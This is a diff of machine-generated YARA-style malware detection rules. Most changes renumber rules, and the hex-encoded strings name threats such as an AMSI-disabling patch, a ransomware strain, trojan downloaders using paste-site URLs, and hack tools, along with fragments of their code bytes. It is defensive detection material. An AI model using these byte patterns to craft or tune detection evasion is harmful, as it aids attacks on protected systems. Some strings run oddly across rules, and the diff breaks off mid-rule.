+136180,7 @@ rule _InfrastructureShared_11582{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*7168+(#a_65_2 & 1)*11825+(#a_54_3 & 1)*8448) >=4 } -rule _InfrastructureShared_11583{ +rule _InfrastructureShared_12338{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -127724,7 +136193,7 @@ rule _InfrastructureShared_11583{ ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*28530+(#a_63_2 & 1)*27246+(#a_e8_3 & 1)*-3277) >=4 } -rule _InfrastructureShared_11584{ +rule _InfrastructureShared_12339{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -127737,7 +136206,7 @@ rule _InfrastructureShared_11584{ ((#a_6f_0 & 1)*21539+(#a_42_1 & 1)*-18929+(#a_54_2 & 1)*21076+(#a_10_3 & 1)*-28403) >=4 } -rule _InfrastructureShared_11585{ +rule _InfrastructureShared_12340{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 21 " @@ -127749,7 +136218,7 @@ rule _InfrastructureShared_11585{ ((#a_54_0 & 1)*18467+(#a_58_1 & 1)*4441+(#a_11_2 & 1)*4352) >=5 } -rule _InfrastructureShared_11586{ +rule _InfrastructureShared_12341{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 21 " @@ -127759,7 +136228,7 @@ rule _InfrastructureShared_11586{ ((#a_4c_0 & 1)*21539) >=5 } -rule _InfrastructureShared_11587{ +rule _InfrastructureShared_12342{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -127773,7 +136242,7 @@ rule _InfrastructureShared_11587{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*31091+(#a_00_2 & 1)*21581+(#a_64_3 & 1)*22861+(#a_6e_4 & 1)*22330) >=5 } -rule _InfrastructureShared_11588{ +rule _InfrastructureShared_12343{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -127786,7 +136255,7 @@ rule _InfrastructureShared_11588{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*25959+(#a_61_2 & 1)*29798+(#a_a7_4 & 1)*0) >=5 } -rule _InfrastructureShared_11589{ +rule _InfrastructureShared_12344{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -127800,7 +136269,7 @@ rule _InfrastructureShared_11589{ ((#a_77_0 & 1)*16675+(#a_6f_1 & 1)*11880+(#a_c9_2 & 1)*-8363+(#a_6f_3 & 1)*25970+(#a_00_4 & 1)*5) >=5 } -rule _InfrastructureShared_11590{ +rule _InfrastructureShared_12345{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -127813,7 +136282,7 @@ rule _InfrastructureShared_11590{ ((#a_54_0 & 1)*18467+(#a_71_1 & 1)*16756+(#a_64_3 & 1)*11264+(#a_6b_4 & 1)*13679) >=5 } -rule _InfrastructureShared_11591{ +rule _InfrastructureShared_12346{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -127826,7 +136295,7 @@ rule _InfrastructureShared_11591{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*70+(#a_52_3 & 1)*21320+(#a_61_4 & 1)*385) >=5 } -rule _InfrastructureShared_11592{ +rule _InfrastructureShared_12347{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -127840,7 +136309,7 @@ rule _InfrastructureShared_11592{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*9472+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 } -rule _InfrastructureShared_11593{ +rule _InfrastructureShared_12348{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -127855,7 +136324,7 @@ rule _InfrastructureShared_11593{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*31300+(#a_4d_2 & 1)*21849+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=5 } -rule _InfrastructureShared_11594{ +rule _InfrastructureShared_12349{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -127870,7 +136339,7 @@ rule _InfrastructureShared_11594{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*31086+(#a_54_2 & 1)*8514+(#a_65_3 & 1)*31042+(#a_20_4 & 1)*12848+(#a_74_5 & 1)*28233) >=5 } -rule _InfrastructureShared_11595{ +rule _InfrastructureShared_12350{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -127885,7 +136354,7 @@ rule _InfrastructureShared_11595{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*385+(#a_41_2 & 1)*20538+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*-100) >=5 } -rule _InfrastructureShared_11596{ +rule _InfrastructureShared_12351{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -127899,7 +136368,7 @@ rule _InfrastructureShared_11596{ ((#a_46_0 & 1)*16675+(#a_6f_2 & 1)*384+(#a_74_4 & 1)*26369+(#a_76_5 & 1)*27743+(#a_8b_6 & 1)*7680) >=5 } -rule _InfrastructureShared_11597{ +rule _InfrastructureShared_12352{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 08 00 21 " @@ -127916,7 +136385,7 @@ rule _InfrastructureShared_11597{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*268+(#a_8b_2 & 1)*11264+(#a_fa_3 & 1)*994+(#a_c1_4 & 1)*2272+(#a_8b_5 & 1)*784+(#a_65_6 & 1)*25922+(#a_64_7 & 1)*28524) >=5 } -rule _InfrastructureShared_11598{ +rule _InfrastructureShared_12353{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " @@ -127927,7 +136396,7 @@ rule _InfrastructureShared_11598{ ((#a_6f_0 & 1)*21539+(#a_00_2 & 1)*108) >=6 } -rule _InfrastructureShared_11599{ +rule _InfrastructureShared_12354{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -127942,7 +136411,7 @@ rule _InfrastructureShared_11599{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*29285+(#a_6c_2 & 1)*31337+(#a_65_3 & 1)*24942+(#a_75_4 & 1)*29295+(#a_69_5 & 1)*14918) >=6 } -rule _InfrastructureShared_11600{ +rule _InfrastructureShared_12355{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -127957,7 +136426,7 @@ rule _InfrastructureShared_11600{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29537+(#a_49_2 & 1)*1+(#a_4f_3 & 1)*267+(#a_71_4 & 1)*29187+(#a_01_5 & 1)*2560) >=6 } -rule _InfrastructureShared_11601{ +rule _InfrastructureShared_12356{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -127973,7 +136442,7 @@ rule _InfrastructureShared_11601{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*30721+(#a_00_2 & 1)*25956+(#a_71_3 & 1)*29187+(#a_01_4 & 1)*2560+(#a_30_5 & 1)*12336+(#a_00_6 & 1)*30720) >=7 } -rule _InfrastructureShared_11602{ +rule _InfrastructureShared_12357{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -127990,7 +136459,7 @@ rule _InfrastructureShared_11602{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*3328+(#a_66_2 & 1)*8268+(#a_50_3 & 1)*26977+(#a_03_4 & 1)*22272+(#a_04_5 & 1)*-28561+(#a_28_6 & 1)*400+(#a_04_7 & 1)*-28561) >=8 } -rule _InfrastructureShared_11603{ +rule _InfrastructureShared_12358{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 07 00 21 " @@ -128005,7 +136474,7 @@ rule _InfrastructureShared_11603{ ((#a_4c_0 & 1)*21539+(#a_20_1 & 1)*24946+(#a_65_2 & 1)*16687+(#a_00_3 & 1)*11272+(#a_6d_5 & 1)*29254+(#a_0e_6 & 1)*9476) >=9 } -rule _InfrastructureShared_11604{ +rule _InfrastructureShared_12359{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -128017,7 +136486,7 @@ rule _InfrastructureShared_11604{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*4360+(#a_04_2 & 1)*-28561) >=12 } -rule _InfrastructureShared_11605{ +rule _InfrastructureShared_12360{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 07 00 21 " @@ -128031,7 +136500,7 @@ rule _InfrastructureShared_11605{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*17152+(#a_00_3 & 1)*32+(#a_8d_4 & 1)*5140+(#a_01_6 & 1)*1792) >=16 } -rule _InfrastructureShared_11606{ +rule _InfrastructureShared_12361{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 06 00 21 " @@ -128045,7 +136514,7 @@ rule _InfrastructureShared_11606{ ((#a_4c_0 & 1)*21539+(#a_01_2 & 1)*1792+(#a_6d_3 & 1)*6912+(#a_65_4 & 1)*11886+(#a_65_5 & 1)*28233) >=18 } -rule _InfrastructureShared_11607{ +rule _InfrastructureShared_12362{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffff90 01 ffffff90 01 04 00 21 " @@ -128058,7 +136527,7 @@ rule _InfrastructureShared_11607{ ((#a_46_0 & 1)*16675+(#a_57_1 & 1)*25445+(#a_32_2 & 1)*18775+(#a_11_3 & 1)*24840) >=400 } -rule _InfrastructureShared_11608{ +rule _InfrastructureShared_12363{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -128068,7 +136537,7 @@ rule _InfrastructureShared_11608{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11609{ +rule _InfrastructureShared_12364{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -128078,7 +136547,7 @@ rule _InfrastructureShared_11609{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11610{ +rule _InfrastructureShared_12365{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -128088,7 +136557,7 @@ rule _InfrastructureShared_11610{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11611{ +rule _InfrastructureShared_12366{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -128098,7 +136567,7 @@ rule _InfrastructureShared_11611{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11612{ +rule _InfrastructureShared_12367{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -128108,7 +136577,7 @@ rule _InfrastructureShared_11612{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_11613{ +rule _InfrastructureShared_12368{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -128118,7 +136587,7 @@ rule _InfrastructureShared_11613{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_11614{ +rule _InfrastructureShared_12369{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -128128,7 +136597,7 @@ rule _InfrastructureShared_11614{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_11615{ +rule _InfrastructureShared_12370{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -128139,7 +136608,7 @@ rule _InfrastructureShared_11615{ ((#a_46_0 & 1)*16675+(#a_02_1 & 1)*-28544) >=1 } -rule _InfrastructureShared_11616{ +rule _InfrastructureShared_12371{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -128150,7 +136619,7 @@ rule _InfrastructureShared_11616{ ((#a_54_0 & 1)*18467+(#a_c6_1 & 1)*0) >=1 } -rule _InfrastructureShared_11617{ +rule _InfrastructureShared_12372{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -128161,7 +136630,7 @@ rule _InfrastructureShared_11617{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*9348) >=1 } -rule _InfrastructureShared_11618{ +rule _InfrastructureShared_12373{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -128173,7 +136642,7 @@ rule _InfrastructureShared_11618{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*22388+(#a_43_2 & 1)*13113) >=1 } -rule _InfrastructureShared_11619{ +rule _InfrastructureShared_12374{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -128184,7 +136653,7 @@ rule _InfrastructureShared_11619{ ((#a_54_0 & 1)*18467+(#a_32_1 & 1)*13121) >=1 } -rule _InfrastructureShared_11620{ +rule _InfrastructureShared_12375{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -128196,7 +136665,7 @@ rule _InfrastructureShared_11620{ ((#a_77_0 & 1)*19491+(#a_33_1 & 1)*29747+(#a_8a_3 & 1)*6912) >=1 } -rule _InfrastructureShared_11621{ +rule _InfrastructureShared_12376{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -128210,7 +136679,7 @@ rule _InfrastructureShared_11621{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*26994+(#a_00_2 & 1)*82+(#a_00_3 & 1)*68+(#a_42_4 & 1)*11892) >=1 } -rule _InfrastructureShared_11622{ +rule _InfrastructureShared_12377{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -128224,39 +136693,20 @@ rule _InfrastructureShared_11622{ ((#a_54_0 & 1)*16675+(#a_6e_1 & 1)*26471+(#a_6a_2 & 1)*9324+(#a_ff_3 & 1)*27156+(#a_02_4 & 1)*-28611) >=1 } -rule _InfrastructureShared_11623{ +rule _InfrastructureShared_12378{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " strings : $a_54_0 = {3a 4e 69 76 64 6f 72 74 2e 41 42 33 00 01 00 12 01 89 44 24 20 d8 6c 24 1c 6a 0a d9 5c 24 20 ff d7 8b 0d 01 00 18 03 0f bf d1 0f af d0 89 15 90 01 02 42 00 ff 44 24 14 6a 0a ff d7 8b 90 00 01 00 16 03 75 a5 8b 3d 90 01 02 41 00 6a 0a ff d7 8b 2d 90 } //18467 $a_00_1 = {90 00 01 00 09 01 41 00 6a 0a ff d7 dd 44 24 01 00 14 03 6a 0a ff d7 0f b7 06 83 3c 85 90 01 02 42 00 00 75 ef 90 00 01 00 18 03 0f b7 0e 83 3c 8d 90 01 02 42 00 00 74 90 02 10 6a 0a ff d3 d9 05 } //513 - $a_00_4 = {0b } //1 - $a_48_5 = {54 52 3a 44 69 73 61 62 6c 65 41 4d 53 49 2e 50 61 74 63 68 00 01 00 08 01 31 ff 90 00 13 30 04 00 01 00 } //8448 + $a_00_4 = {02 00 } //2 + $a_4c_5 = {3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 49 6e 76 65 72 74 65 64 4c 61 6e 74 65 72 6e 2e 42 21 64 68 61 00 01 00 1b 01 5b 3c 3c 3c 5d 20 69 6e 63 6f 6d 6d 69 6e 67 20 70 61 63 6b 65 74 20 } //8993 condition: - ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*513+(#a_00_4 & 1)*1+(#a_48_5 & 1)*8448) >=1 + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*513+(#a_00_4 & 1)*2+(#a_4c_5 & 1)*8993) >=1 } -rule _InfrastructureShared_11624{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0b 00 21 " - - strings : - $a_54_0 = {3a 44 69 73 61 62 6c 65 41 4d 53 49 2e 50 61 74 63 68 00 01 00 08 01 31 ff 90 00 13 30 04 00 01 00 0b 01 ff 25 00 20 00 10 31 ff 90 00 00 01 00 0b 01 ff 25 00 20 40 00 31 ff 90 00 00 01 00 08 01 b8 57 00 07 80 c3 00 00 01 00 08 01 b8 57 00 07 80 c2 } //18467 - $a_00_1 = {0a } //24 - $a_64_2 = {00 31 ff 90 00 00 01 00 07 01 33 db 90 00 00 00 00 01 00 07 01 31 c0 90 00 00 00 00 01 00 08 01 90 b8 00 00 00 01 c3 00 01 00 06 01 c3 80 07 00 57 b8 01 00 07 01 18 c2 80 07 00 57 b8 00 00 78 a8 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 49 6e 76 65 72 74 65 64 4c 61 6e 74 65 72 6e 2e 42 21 } //11777 - $a_00_3 = {01 00 1b 01 5b 3c 3c 3c 5d 20 69 6e 63 6f 6d 6d 69 6e 67 20 70 61 63 6b 65 74 20 3d 20 25 73 01 00 52 01 63 00 6d 00 25 00 73 00 65 00 20 00 25 00 73 00 65 00 25 00 73 00 68 00 20 00 25 00 73 00 72 00 65 00 25 00 73 00 6c 00 25 00 73 00 64 00 25 00 73 00 74 00 6f 00 70 00 25 00 73 00 67 00 } //26724 - $a_00_4 = {25 00 73 00 33 00 20 00 22 00 44 00 4e 00 53 00 00 00 78 a8 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 41 50 54 5f 48 69 64 64 65 6e 43 6f 62 72 61 5f 47 68 6f 73 74 53 65 63 72 65 74 5f 31 00 01 00 32 03 } //32 - $a_00_5 = {5c 00 25 00 73 00 2e 00 64 00 6c 00 6c 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 31 03 50 52 4f 58 59 5f 53 56 43 5f 44 4c 4c 2e 64 6c 6c 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 00 00 78 a8 00 00 02 00 02 00 02 00 21 23 41 4c } //37 - $a_32_6 = {3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 43 4e 5f 48 6f 6e 6b 65 72 5f 53 77 6f 72 64 43 6f 6c 6c 45 64 69 74 69 6f 6e 00 01 00 3c 03 59 00 75 00 4a 00 69 00 61 00 6e 00 53 00 63 00 61 00 6e 00 2e 00 65 00 78 00 65 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 } //14918 - $a_01_7 = {09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 2a 03 59 75 4a 69 61 6e 53 63 61 6e 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 } //-28672 - $a_61_8 = {7a 41 2d 5a 30 2d 39 } //281 - $a_a8_9 = {00 02 00 02 00 02 00 21 23 48 53 54 52 3a 50 68 61 6e 45 76 61 64 65 33 2e 78 36 34 2e 44 6c 45 78 65 00 01 00 48 03 48 89 44 24 40 48 c7 44 24 38 00 00 00 00 48 c7 44 24 30 00 00 00 00 c7 44 24 28 04 00 00 00 c7 44 24 20 00 00 00 00 41 b9 00 00 00 00 41 b8 00 00 00 00 48 8d 90 01 04 00 b9 00 00 00 00 48 8b 90 01 04 00 ff d0 90 00 01 00 34 03 48 c7 44 24 28 } //0 - condition: - ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*24+(#a_64_2 & 1)*11777+(#a_00_3 & 1)*26724+(#a_00_4 & 1)*32+(#a_00_5 & 1)*37+(#a_32_6 & 1)*14918+(#a_01_7 & 1)*-28672+(#a_61_8 & 1)*281+(#a_a8_9 & 1)*0) >=1 - -} -rule _InfrastructureShared_11625{ +rule _InfrastructureShared_12379{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -128267,7 +136717,7 @@ rule _InfrastructureShared_11625{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*37) >=2 } -rule _InfrastructureShared_11626{ +rule _InfrastructureShared_12380{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -128278,7 +136728,7 @@ rule _InfrastructureShared_11626{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*11585) >=2 } -rule _InfrastructureShared_11627{ +rule _InfrastructureShared_12381{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -128289,7 +136739,7 @@ rule _InfrastructureShared_11627{ ((#a_46_0 & 1)*16675+(#a_09_1 & 1)*11408) >=2 } -rule _InfrastructureShared_11628{ +rule _InfrastructureShared_12382{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -128299,7 +136749,7 @@ rule _InfrastructureShared_11628{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_11629{ +rule _InfrastructureShared_12383{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -128310,7 +136760,7 @@ rule _InfrastructureShared_11629{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*22797) >=2 } -rule _InfrastructureShared_11630{ +rule _InfrastructureShared_12384{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -128321,7 +136771,7 @@ rule _InfrastructureShared_11630{ ((#a_46_0 & 1)*16675+(#a_83_1 & 1)*2697) >=2 } -rule _InfrastructureShared_11631{ +rule _InfrastructureShared_12385{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -128333,31 +136783,19 @@ rule _InfrastructureShared_11631{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*29728+(#a_64_2 & 1)*28524) >=2 } -rule _InfrastructureShared_11632{ +rule _InfrastructureShared_12386{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " strings : $a_4c_0 = {54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 53 49 4c 2f 4e 65 74 43 6f 72 65 21 4d 54 42 00 01 00 19 03 70 00 61 00 73 00 74 00 65 00 2e 00 65 00 65 00 2f 00 90 01 01 2f 00 90 00 01 00 0f 03 70 61 } //21539 - $a_2e_1 = {65 2f 90 01 01 2f 90 00 01 00 28 03 70 00 61 00 73 00 74 00 65 00 63 00 6f 00 64 00 65 00 2e 00 78 00 79 00 7a 00 2f 00 90 02 0a 2f 00 90 02 0a 2f 00 90 00 01 00 18 03 70 61 73 74 65 63 6f 64 65 2e 78 79 7a 2f 90 02 0a 2f 90 02 0a 2f 90 00 00 00 78 a8 00 00 03 00 03 00 02 00 21 23 41 4c 46 3a 52 61 6e } //29811 - $a_3a_2 = {53 49 4c 2f 42 6c 61 63 6b 42 69 74 2e 4e 49 54 21 4d 54 42 00 02 00 5b 03 7e 05 00 00 0a 72 01 00 00 70 72 d0 02 00 70 1f 40 28 90 01 01 00 00 06 26 1f 23 28 90 01 01 00 00 0a 72 e2 02 00 70 28 90 01 01 00 00 0a 0a 06 28 90 01 01 00 00 0a 2c 1b 72 fe 02 00 70 72 12 03 00 70 06 72 12 03 00 70 28 90 01 01 00 00 0a 28 90 01 01 } //28531 - $a_26_3 = {90 00 01 00 1a 00 69 00 6e 00 } //0 + $a_2e_1 = {65 2f 90 01 01 2f 90 00 01 00 28 03 70 00 61 00 73 00 74 00 65 00 63 00 6f 00 64 00 65 00 2e 00 78 00 79 00 7a 00 2f 00 90 02 0a 2f 00 90 02 0a 2f 00 90 00 01 00 18 03 70 61 73 74 65 63 6f 64 65 2e 78 79 7a 2f 90 02 0a 2f 90 02 0a 2f 90 00 00 00 78 a8 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 50 55 41 } //29811 + $a_6e_2 = {74 69 7a 65 72 21 62 69 74 00 02 00 2c 01 8a 19 84 db 74 1d 33 d2 8b c7 f7 f6 8b 75 ec 8a 04 32 8b 75 f4 8b 55 f0 3a d8 74 04 32 c3 88 01 8b 45 fc 8b 5d f8 41 47 3b c8 72 cc 01 00 32 03 8d 56 04 03 56 3c 0f b7 7a 10 03 fa 80 7e 05 24 0f 85 cd 00 00 00 8b 47 20 8d 56 06 8b 7f 1c 03 f8 89 55 90 01 01 03 fe 8d 0c 30 89 7d fc 33 f6 90 } //19770 condition: - ((#a_4c_0 & 1)*21539+(#a_2e_1 & 1)*29811+(#a_3a_2 & 1)*28531+(#a_26_3 & 1)*0) >=2 + ((#a_4c_0 & 1)*21539+(#a_2e_1 & 1)*29811+(#a_6e_2 & 1)*19770) >=2 } -rule _InfrastructureShared_11633{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " - - strings : - $a_46_0 = {52 61 6e 73 6f 6d 3a 4d 53 49 4c 2f 42 6c 61 63 6b 42 69 74 2e 4e 49 54 21 4d 54 42 00 02 00 5b 03 7e 05 00 00 0a 72 01 00 00 70 72 d0 02 00 70 1f 40 28 90 01 01 00 00 06 26 1f 23 28 90 01 01 00 00 0a 72 e2 02 00 70 28 90 01 01 } //16675 - $a_0a_1 = {06 28 90 01 01 00 00 0a 2c 1b } //0 - condition: - ((#a_46_0 & 1)*16675+(#a_0a_1 & 1)*0) >=3 - -} -rule _InfrastructureShared_11634{ +rule _InfrastructureShared_12387{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -128369,7 +136807,7 @@ rule _InfrastructureShared_11634{ ((#a_46_0 & 1)*16675+(#a_10_1 & 1)*-18673+(#a_00_2 & 1)*97) >=3 } -rule _InfrastructureShared_11635{ +rule _InfrastructureShared_12388{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -128381,18 +136819,30 @@ rule _InfrastructureShared_11635{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*25646+(#a_49_2 & 1)*19807) >=3 } -rule _InfrastructureShared_11636{ +rule _InfrastructureShared_12389{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_46_0 = {59 32 56 3a 46 69 72 65 45 79 65 2f 48 61 63 6b 54 6f 6f 6c 5f 4d 53 49 4c 5f 53 68 61 72 50 69 76 6f 74 5f 31 00 01 00 53 03 0a 0c 16 13 04 2b 5e 23 90 01 08 06 6f 90 01 01 00 00 0a 5a 23 90 01 08 58 28 90 01 01 00 00 0a 28 90 } //16675 - $a_01_2 = {01 00 00 0a 90 0a 2c 00 73 90 01 01 00 00 0a 0a 06 1f 90 01 01 1f 90 01 01 6f 90 01 01 00 00 0a 0b 73 90 01 01 00 00 90 00 01 00 0e 01 63 00 6d 00 64 00 5f 00 72 00 70 00 63 00 01 00 07 01 63 6f 73 74 75 72 61 00 00 78 a8 00 00 03 00 03 00 03 00 21 23 41 6c 6c 6f 77 4c 69 73 74 3a 49 52 53 45 54 55 50 00 01 00 42 01 43 00 3a 00 5c 00 54 00 45 00 4d 00 50 00 5c 00 5f 00 69 00 72 00 5f 00 73 00 66 00 5f 00 74 00 65 00 6d 00 70 00 } //10250 + $a_01_2 = {01 00 00 0a 90 0a 2c 00 73 90 01 01 00 00 0a 0a 06 1f 90 01 01 1f 90 01 01 6f 90 01 01 00 00 0a 0b 73 90 01 01 00 00 90 00 01 00 0e 01 63 00 6d 00 64 00 5f 00 72 00 70 00 63 00 01 00 07 01 63 6f 73 74 75 72 61 00 00 78 a8 00 00 03 00 03 00 03 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 53 75 6e 70 65 74 61 6c 2e 41 21 64 68 61 00 01 00 38 01 63 68 65 63 6b 5f 75 70 64 61 74 } //10250 condition: ((#a_46_0 & 1)*16675+(#a_01_2 & 1)*10250) >=3 } -rule _InfrastructureShared_11637{ +rule _InfrastructureShared_12390{ + meta: + description = 